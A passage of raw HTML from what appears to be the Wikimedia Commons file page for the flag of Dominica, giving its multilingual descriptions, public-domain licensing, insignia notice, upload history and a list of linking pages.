<div class="description mw-content-ltr it" dir="ltr" lang="it" style="" xml:lang="it"><span class="language it" title=""><b>Italiano:</b></span> Bandiera di <a href="https://it.wikipedia.org/wiki/Dominica" class="extiw" title="it:Dominica">Dominica</a>.</div>
<div class="description mw-content-ltr ru" dir="ltr" lang="ru" style="" xml:lang="ru"><span class="language ru" title=""><b>Русский:</b></span> <a href="https://ru.wikipedia.org/wiki/%D0%A4%D0%BB%D0%B0%D0%B3_%D0%94%D0%BE%D0%BC%D0%B8%D0%BD%D0%B8%D0%BA%D0%B8" class="extiw" title="ru:Флаг Доминики">Флаг</a> <a href="https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BC%D0%B8%D0%BD%D0%B8%D0%BA%D0%B0" class="extiw" title="ru:Доминика">Доминики</a></div>
<div class="description mw-content-ltr sl" dir="ltr" lang="sl" style="" xml:lang="sl"><span class="language sl" title=""><b>Slovenščina:</b></span> <a href="https://sl.wikipedia.org/wiki/dr%C5%BEavna_zastava" class="extiw" title="sl:državna zastava">državna</a> <a href="https://sl.wikipedia.org/wiki/zastava" class="extiw" title="sl:zastava">zastava</a> <a href="https://sl.wikipedia.org/wiki/Dominika" class="extiw" title="sl:Dominika">Dominike</a></div>
</td>
</tr>
<tr style="vertical-align: top">
<td id="fileinfotpl_date" class="fileinfo-paramfield" lang="en" xml:lang="en">Date</td>
<td lang="en" xml:lang="en"></td>
</tr>
<tr style="vertical-align: top">
<td id="fileinfotpl_src" class="fileinfo-paramfield" lang="en" xml:lang="en">Source</td>
<td><span class="int-own-work" lang="en" xml:lang="en">Own work</span>: Flag of <a href="https://en.wikipedia.org/wiki/Dominica" class="extiw" title="w:Dominica">Dominica</a> originally from the <a rel="nofollow" class="external text" href="http://openclipart.org/">Open Clip Art</a> website. Redrawn by <a href="/w/index.php?title=User:Vzb83&action=edit&redlink=1" class="new" title="User:Vzb83 (page does not exist)">User:Vzb83</a> except for the parrot. Colours are adapted from <a rel="nofollow" class="external text" href="http://www.fotw.net/flags/dm.html">FOTW Flags Of The World website</a> because of the currentness (refreshed 2001). The colour sceme is found at <a rel="nofollow" class="external text" href="http://www.dominica.gov.dm/cms/index.php?q=node/83">the government website</a> of the Commonwealth of Dominica and <a rel="nofollow" class="external text" href="https://www.cia.gov/library/publications/the-world-factbook/flags/do-flag.html">THE WORLD FACTBOOK</a> of the <a href="https://en.wikipedia.org/wiki/CIA" class="extiw" title="w:CIA">CIA</a>.</td>
</tr>
<tr style="vertical-align: top">
<td id="fileinfotpl_aut" class="fileinfo-paramfield" lang="en" xml:lang="en">Author</td>
<td><a href="/wiki/User:Nightstallion" title="User:Nightstallion">User:Nightstallion</a></td>
</tr>
</table>
</div>
<h2><span class="mw-headline" id="Licensing">Licensing</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a href="/w/index.php?title=File:Flag_of_Dominica.svg&action=edit&section=2" title="Edit section: Licensing">edit</a><span class="mw-editsection-bracket">]</span></span></h2>
<table style="width:100%; clear:both; text-align:center; margin:0.5em auto; background-color:#f9f9f9; border:2px solid #e0e0e0; padding: 0; border-spacing: 8px;" class="layouttemplate licensetpl mw-content-ltr" lang="en" xml:lang="en">
<tr>
<td style="width:90px;" class="licensetpl_wrapper"><img alt="Creative Commons icon" src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/28px-Cc.logo.circle.svg.png" title="Creative Commons icon" width="28" height="28" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/42px-Cc.logo.circle.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/56px-Cc.logo.circle.svg.png 2x" data-file-width="64" data-file-height="64" />
<p><img alt="CC-Zero" src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/28px-Cc-zero.svg.png" title="CC-Zero" width="28" height="28" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/42px-Cc-zero.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/56px-Cc-zero.svg.png 2x" data-file-width="64" data-file-height="64" /></p>
</td>
<td><span lang="en" class="description en" xml:lang="en"><i>This file is from the <a href="https://en.wikipedia.org/wiki/Open_Clip_Art_Library" class="extiw" title="en:Open Clip Art Library">Open Clip Art Library</a>, which released it explicitly into the <b><a href="https://en.wikipedia.org/wiki/public_domain" class="extiw" title="w:public domain">public domain</a></b> (<a rel="nofollow" class="external text" href="https://openclipart.org/share">see here</a>)</i>.</span>
<p><span lang="en" class="description en" xml:lang="en"><small>To the uploader: Please provide as parameter the link to the page where this image appears.</small></span></p>
<hr />
<span style="font-size:x-small;line-height:140%" class="plainlinks noprint"><a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/bn">বাংলা</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/cs">Čeština</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/de">Deutsch</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/el">Ελληνικά</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/en">English</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/es">Español</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/fr">Français</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/it">Italiano</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/ja">日本語</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/mk">Македонски</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/mt">Malti</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/nl">Nederlands</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/pl">Polski</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/pt">Português</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/pt-br">Português do Brasil</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/ro">Română</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/ru">Русский</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/sv">Svenska</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/tr">Türkçe</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/uk">Українська</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/zh-hans">中文(简体)</a> | <a class="external text" href="//commons.wikimedia.org/wiki/Template:PD-OpenClipart/zh-hant">中文(繁體)</a> | <small class="plainlinks"><a class="external text" href="//commons.wikimedia.org/w/index.php?title=Template:PD-OpenClipart/lang&action=edit">+/−</a></small></span></td>
<td>
<div class="floatright"><img alt="Open Clip Art Library logo" src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/20/Openclipart_logo_and_wordmark_%28big%29.svg/80px-Openclipart_logo_and_wordmark_%28big%29.svg.png" title="Open Clip Art Library logo" width="80" height="75" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/2/20/Openclipart_logo_and_wordmark_%28big%29.svg/120px-Openclipart_logo_and_wordmark_%28big%29.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/2/20/Openclipart_logo_and_wordmark_%28big%29.svg/160px-Openclipart_logo_and_wordmark_%28big%29.svg.png 2x" data-file-width="310" data-file-height="290" /></div>
</td>
</tr>
</table>
<table style="width:100%; clear:both; text-align:center; margin:0.5em auto; background-color:#f9f9f9; border:2px solid #e0e0e0; padding: 0; border-spacing: 8px;" class="layouttemplate licensetpl mw-content-ltr" lang="en" xml:lang="en">
<tr>
<td style="width:90px;" rowspan="2"><img alt="Creative Commons" src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/28px-Cc.logo.circle.svg.png" title="Creative Commons" width="28" height="28" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/42px-Cc.logo.circle.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/a/a3/Cc.logo.circle.svg/56px-Cc.logo.circle.svg.png 2x" data-file-width="64" data-file-height="64" /> <img alt="CC-Zero" src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/28px-Cc-zero.svg.png" title="CC-Zero" width="28" height="28" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/42px-Cc-zero.svg.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/Cc-zero.svg/56px-Cc-zero.svg.png 2x" data-file-width="64" data-file-height="64" /></td>
<td>This file is made available under the <a href="https://en.wikipedia.org/wiki/en:Creative_Commons" class="extiw" title="w:en:Creative Commons">Creative Commons</a> <a rel="nofollow" class="external text" href="//creativecommons.org/publicdomain/zero/1.0/deed.en">CC0 1.0 Universal Public Domain Dedication</a>.</td>
</tr>
<tr style="text-align:left;">
<td>The person who associated a work with this deed has dedicated the work to the <a href="https://en.wikipedia.org/wiki/en:public_domain" class="extiw" title="w:en:public domain">public domain</a> by waiving all of his or her rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law. You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission.
<p><span class="licensetpl_link" style="display:none;">http://creativecommons.org/publicdomain/zero/1.0/deed.en</span><span class="licensetpl_short" style="display:none;">CC0</span><span class="licensetpl_long" style="display:none;">Creative Commons Zero, Public Domain Dedication</span><span class="licensetpl_link_req" style="display:none;">false</span><span class="licensetpl_attr_req" style="display:none;">false</span></p>
</td>
</tr>
</table>
<table cellspacing="8" cellpadding="0" style="width:100%; clear:both; margin:0.5em auto; background-color:#f7f8ff; border:2px solid #8888aa;" lang="en" dir="ltr" class="layouttemplate restrictiontemplate mw-content-ltr restriction-insignia" xml:lang="en">
<tr>
<td style="border:none;" width="64px"><a href="/wiki/Commons:Non-copyright_restrictions" title="Insignia"><img alt="Insignia" src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d2/Coat-elements-2.png/64px-Coat-elements-2.png" width="64" height="77" srcset="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d2/Coat-elements-2.png/96px-Coat-elements-2.png 1.5x, https://upload.wikimedia.org/wikipedia/commons/thumb/d/d2/Coat-elements-2.png/128px-Coat-elements-2.png 2x" data-file-width="609" data-file-height="731" /></a></td>
<td style="border:none;">
<p><span lang="en" class="description en" xml:lang="en">This image shows a <a href="https://en.wikipedia.org/wiki/flag" class="extiw" title="w:flag">flag</a>, a <a href="https://en.wikipedia.org/wiki/coat_of_arms" class="extiw" title="w:coat of arms">coat of arms</a>, a <a href="https://en.wikipedia.org/wiki/seal_(device)" class="extiw" title="w:seal (device)">seal</a> or some other official <b><a href="https://en.wikipedia.org/wiki/insignia" class="extiw" title="w:insignia">insignia</a></b>. The use of such symbols is restricted in many countries. These restrictions are independent of the <a href="https://en.wikipedia.org/wiki/copyright" class="extiw" title="w:copyright">copyright</a> status.</span></p>
</td>
</tr>
</table>
<!--
NewPP limit report
Parsed by mw1273
Cached time: 20170901040300
Cache expiry: 1900800
Dynamic content: false
CPU time usage: 0.112 seconds
Real time usage: 0.153 seconds
Preprocessor visited node count: 1592/1000000
Preprocessor generated node count: 0/1500000
Post‐expand include size: 39058/2097152 bytes
Template argument size: 10507/2097152 bytes
Highest expansion depth: 11/40
Expensive parser function count: 2/500
Lua time usage: 0.037/10.000 seconds
Lua memory usage: 859 KB/50 MB
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00% 121.095 1 -total
57.84% 70.039 1 Template:Information
37.35% 45.228 2 Template:Autotranslate
24.03% 29.103 1 Template:PD-OpenClipart
22.77% 27.569 1 Template:ISOdate
17.80% 21.552 1 Template:Insignia
15.05% 18.219 1 Template:PD-OpenClipart/layout
11.33% 13.725 1 Template:Insignia/layout
10.18% 12.324 1 Template:Non-copyright_restriction
5.89% 7.137 1 Template:PD-OpenClipart/lang
-->
</div>
<!-- Saved in parser cache with key commonswiki:pcache:idhash:433133-0!canonical and timestamp 20170901040300 and revision id 235840245
-->
</div><h2 id="filehistory">File history</h2>
<div id="mw-imagepage-section-filehistory">
<p>Click on a date/time to view the file as it appeared at that time.
</p>
<table class="wikitable filehistory">
<tr><th></th><th>Date/Time</th><th>Thumbnail</th><th>Dimensions</th><th>User</th><th>Comment</th></tr>
<tr><td>current</td><td class='filehistory-selected' style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/c/c4/Flag_of_Dominica.svg">22:45, 11 July 2014</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/c/c4/Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 22:45, 11 July 2014" src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="1200" data-file-height="600" /></a></td><td>1,200 × 600 <span style="white-space: nowrap;">(14 KB)</span></td><td><a href="/wiki/User:SiBr4" class="mw-userlink" title="User:SiBr4"><bdi>SiBr4</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:SiBr4" class="mw-usertoollinks-talk" title="User talk:SiBr4">talk</a> | <a href="/wiki/Special:Contributions/SiBr4" class="mw-usertoollinks-contribs" title="Special:Contributions/SiBr4">contribs</a>)</span></span></td><td dir="ltr">Halving code; valid SVG</td></tr>
<tr><td></td><td style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20140711224541%21Flag_of_Dominica.svg">10:00, 5 August 2011</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20140711224541%21Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 10:00, 5 August 2011" src="https://upload.wikimedia.org/wikipedia/commons/thumb/archive/c/c4/20140711224541%21Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="600" data-file-height="300" /></a></td><td>600 × 300 <span style="white-space: nowrap;">(28 KB)</span></td><td><a href="/wiki/User:OAlexander~commonswiki" class="mw-userlink" title="User:OAlexander~commonswiki"><bdi>OAlexander~commonswiki</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:OAlexander~commonswiki" class="mw-usertoollinks-talk" title="User talk:OAlexander~commonswiki">talk</a> | <a href="/wiki/Special:Contributions/OAlexander~commonswiki" class="mw-usertoollinks-contribs" title="Special:Contributions/OAlexander~commonswiki">contribs</a>)</span></span></td><td dir="ltr">Code clean-up; more manageable nominal size; enabled view-boxing; added "title"=tag.</td></tr>
<tr><td></td><td style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20110805100023%21Flag_of_Dominica.svg">20:56, 12 May 2008</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20110805100023%21Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 20:56, 12 May 2008" src="https://upload.wikimedia.org/wikipedia/commons/thumb/archive/c/c4/20110805100023%21Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="1200" data-file-height="600" /></a></td><td>1,200 × 600 <span style="white-space: nowrap;">(45 KB)</span></td><td><a href="/wiki/User:Avala" class="mw-userlink" title="User:Avala"><bdi>Avala</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:Avala" class="mw-usertoollinks-talk" title="User talk:Avala">talk</a> | <a href="/wiki/Special:Contributions/Avala" class="mw-usertoollinks-contribs" title="Special:Contributions/Avala">contribs</a>)</span></span></td><td dir="ltr">fix</td></tr>
<tr><td></td><td style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20080512205635%21Flag_of_Dominica.svg">23:46, 10 February 2006</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20080512205635%21Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 23:46, 10 February 2006" src="https://upload.wikimedia.org/wikipedia/commons/thumb/archive/c/c4/20080512205635%21Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="1200" data-file-height="600" /></a></td><td>1,200 × 600 <span style="white-space: nowrap;">(45 KB)</span></td><td><a href="/wiki/User:Vzb83~commonswiki" class="mw-userlink" title="User:Vzb83~commonswiki"><bdi>Vzb83~commonswiki</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:Vzb83~commonswiki" class="mw-usertoollinks-talk" title="User talk:Vzb83~commonswiki">talk</a> | <a href="/wiki/Special:Contributions/Vzb83~commonswiki" class="mw-usertoollinks-contribs" title="Special:Contributions/Vzb83~commonswiki">contribs</a>)</span></span></td><td dir="ltr">redrawn except for the parrot</td></tr>
<tr><td></td><td style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20060210234645%21Flag_of_Dominica.svg">10:12, 16 January 2006</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20060210234645%21Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 10:12, 16 January 2006" src="https://upload.wikimedia.org/wikipedia/commons/thumb/archive/c/c4/20060210234645%21Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="992" data-file-height="496" /></a></td><td>992 × 496 <span style="white-space: nowrap;">(49 KB)</span></td><td><a href="/wiki/User:Kookaburra" class="mw-userlink" title="User:Kookaburra"><bdi>Kookaburra</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:Kookaburra" class="mw-usertoollinks-talk" title="User talk:Kookaburra">talk</a> | <a href="/wiki/Special:Contributions/Kookaburra" class="mw-usertoollinks-contribs" title="Special:Contributions/Kookaburra">contribs</a>)</span></span></td><td dir="ltr">corrected version without yellow fimbrication</td></tr>
<tr><td></td><td style='white-space: nowrap;'><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20060116101248%21Flag_of_Dominica.svg">22:13, 24 November 2005</a></td><td><a href="https://upload.wikimedia.org/wikipedia/commons/archive/c/c4/20060116101248%21Flag_of_Dominica.svg"><img alt="Thumbnail for version as of 22:13, 24 November 2005" src="https://upload.wikimedia.org/wikipedia/commons/thumb/archive/c/c4/20060116101248%21Flag_of_Dominica.svg/120px-Flag_of_Dominica.svg.png" width="120" height="60" data-file-width="992" data-file-height="496" /></a></td><td>992 × 496 <span style="white-space: nowrap;">(43 KB)</span></td><td><a href="/wiki/User:Nightstallion" class="mw-userlink" title="User:Nightstallion"><bdi>Nightstallion</bdi></a><span style="white-space: nowrap;"> <span class="mw-usertoollinks">(<a href="/wiki/User_talk:Nightstallion" class="mw-usertoollinks-talk" title="User talk:Nightstallion">talk</a> | <a href="/wiki/Special:Contributions/Nightstallion" class="mw-usertoollinks-contribs" title="Special:Contributions/Nightstallion">contribs</a>)</span></span></td><td dir="ltr">Flag of Dominica from the [http://openclipart.org/ Open Clip Art] website. {{PD-OpenClipart}} <a href="/wiki/Category:SVG_flags" title="Category:SVG flags">Category:SVG flags</a></td></tr>
</table>
</div>
<ul>
<li id="mw-imagepage-upload-disallowed">You cannot overwrite this file.</li>
</ul>
<h2 id="filelinks">File usage on Commons</h2>
<div id='mw-imagepage-section-linkstoimage'>
<p>The following 77 pages link to this file:
</p><ul class="mw-imagepage-linkstoimage">
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Atlas_of_Dominica" title="Atlas of Dominica">Atlas of Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Country_flags_history" title="Country flags history">Country flags history</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Dominica" title="Dominica">Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flag_heart_symbols_of_Eurovision" title="Flag heart symbols of Eurovision">Flag heart symbols of Eurovision</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flags_with_animals" title="Flags with animals">Flags with animals</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flags_with_birds" title="Flags with birds">Flags with birds</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flags_with_crosses" title="Flags with crosses">Flags with crosses</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flags_with_plants" title="Flags with plants">Flags with plants</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Flags_with_stars" title="Flags with stars">Flags with stars</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Gallery_of_flags_by_design" title="Gallery of flags by design">Gallery of flags by design</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Gallery_of_flags_with_circles" title="Gallery of flags with circles">Gallery of flags with circles</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Gallery_of_flags_with_plants" title="Gallery of flags with plants">Gallery of flags with plants</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Maritime_flags" title="Maritime flags">Maritime flags</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/National_insignia" title="National insignia">National insignia</a></li>
<li class="mw-imagepage-linkstoimage-ns0"><a href="/wiki/Sovereign-state_flags" title="Sovereign-state flags">Sovereign-state flags</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Biopics/Images" title="User:Biopics/Images">User:Biopics/Images</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Caetano_77" title="User:Caetano 77">User:Caetano 77</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Charlesjsharp" title="User:Charlesjsharp">User:Charlesjsharp</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Charlesjsharp/International_gallery_of_insects" title="User:Charlesjsharp/International gallery of insects">User:Charlesjsharp/International gallery of insects</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Flag_Dude~commonswiki" title="User:Flag Dude~commonswiki">User:Flag Dude~commonswiki</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Illegitimate_Barrister/Favorite_Flags" title="User:Illegitimate Barrister/Favorite Flags">User:Illegitimate Barrister/Favorite Flags</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:JCAILLAT" title="User:JCAILLAT">User:JCAILLAT</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Rudolph_Buch/Sandbox" title="User:Rudolph Buch/Sandbox">User:Rudolph Buch/Sandbox</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Scotch_Mist" title="User:Scotch Mist">User:Scotch Mist</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Sojah" title="User:Sojah">User:Sojah</a></li>
<li class="mw-imagepage-linkstoimage-ns2"><a href="/wiki/User:Tomukas/Baustelle/Flaggen" title="User:Tomukas/Baustelle/Flaggen">User:Tomukas/Baustelle/Flaggen</a></li>
<li class="mw-imagepage-linkstoimage-ns4"><a href="/wiki/Commons:Village_pump/Copyright/Archive/2011/08" title="Commons:Village pump/Copyright/Archive/2011/08">Commons:Village pump/Copyright/Archive/2011/08</a></li>
<li class="mw-imagepage-linkstoimage-ns4"><a href="/wiki/Commons:WikiProject_Flags/flags" title="Commons:WikiProject Flags/flags">Commons:WikiProject Flags/flags</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:Close-up-of-43rd-President-of-the-Dominican-Republic-Juan-Bosch-142348299916.jpg" title="File:Close-up-of-43rd-President-of-the-Dominican-Republic-Juan-Bosch-142348299916.jpg">File:Close-up-of-43rd-President-of-the-Dominican-Republic-Juan-Bosch-142348299916.jpg</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:Dominica_flag_300.png" title="File:Dominica flag 300.png">File:Dominica flag 300.png</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:EuroDominica.svg" title="File:EuroDominica.svg">File:EuroDominica.svg</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:Flag_of_Dominica.png" title="File:Flag of Dominica.png">File:Flag of Dominica.png</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:Flag_of_Dominica_(WFB_2004).gif" title="File:Flag of Dominica (WFB 2004).gif">File:Flag of Dominica (WFB 2004).gif</a></li>
<li class="mw-imagepage-linkstoimage-ns6"><a href="/wiki/File:Political_Evolution_of_Central_America_and_the_Caribbean_1700_and_on.gif" title="File:Political Evolution of Central America and the Caribbean 1700 and on.gif">File:Political Evolution of Central America and the Caribbean 1700 and on.gif</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:Aviationyear-Dominica" title="Template:Aviationyear-Dominica">Template:Aviationyear-Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:Dominicayear" title="Template:Dominicayear">Template:Dominicayear</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:PD-Dominica" title="Template:PD-Dominica">Template:PD-Dominica</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:Stamps_of_Dominica_by_year" title="Template:Stamps of Dominica by year">Template:Stamps of Dominica by year</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data" title="Template:WatchlistNotice/Wizard/Data">Template:WatchlistNotice/Wizard/Data</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/bn" title="Template:WatchlistNotice/Wizard/Data/bn">Template:WatchlistNotice/Wizard/Data/bn</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/countries" title="Template:WatchlistNotice/Wizard/Data/countries">Template:WatchlistNotice/Wizard/Data/countries</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/de" title="Template:WatchlistNotice/Wizard/Data/de">Template:WatchlistNotice/Wizard/Data/de</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/en" title="Template:WatchlistNotice/Wizard/Data/en">Template:WatchlistNotice/Wizard/Data/en</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/eo" title="Template:WatchlistNotice/Wizard/Data/eo">Template:WatchlistNotice/Wizard/Data/eo</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/fi" title="Template:WatchlistNotice/Wizard/Data/fi">Template:WatchlistNotice/Wizard/Data/fi</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/fr" title="Template:WatchlistNotice/Wizard/Data/fr">Template:WatchlistNotice/Wizard/Data/fr</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/gl" title="Template:WatchlistNotice/Wizard/Data/gl">Template:WatchlistNotice/Wizard/Data/gl</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/ja" title="Template:WatchlistNotice/Wizard/Data/ja">Template:WatchlistNotice/Wizard/Data/ja</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/lb" title="Template:WatchlistNotice/Wizard/Data/lb">Template:WatchlistNotice/Wizard/Data/lb</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/mk" title="Template:WatchlistNotice/Wizard/Data/mk">Template:WatchlistNotice/Wizard/Data/mk</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/pl" title="Template:WatchlistNotice/Wizard/Data/pl">Template:WatchlistNotice/Wizard/Data/pl</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/ps" title="Template:WatchlistNotice/Wizard/Data/ps">Template:WatchlistNotice/Wizard/Data/ps</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/ru" title="Template:WatchlistNotice/Wizard/Data/ru">Template:WatchlistNotice/Wizard/Data/ru</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/sv" title="Template:WatchlistNotice/Wizard/Data/sv">Template:WatchlistNotice/Wizard/Data/sv</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/tr" title="Template:WatchlistNotice/Wizard/Data/tr">Template:WatchlistNotice/Wizard/Data/tr</a></li>
<li class="mw-imagepage-linkstoimage-ns10"><a href="/wiki/Template:WatchlistNotice/Wizard/Data/uk" title="Template:WatchlistNotice/Wizard/Data/uk">Template:WatchlistNotice/Wizard/Data/uk</a></li>
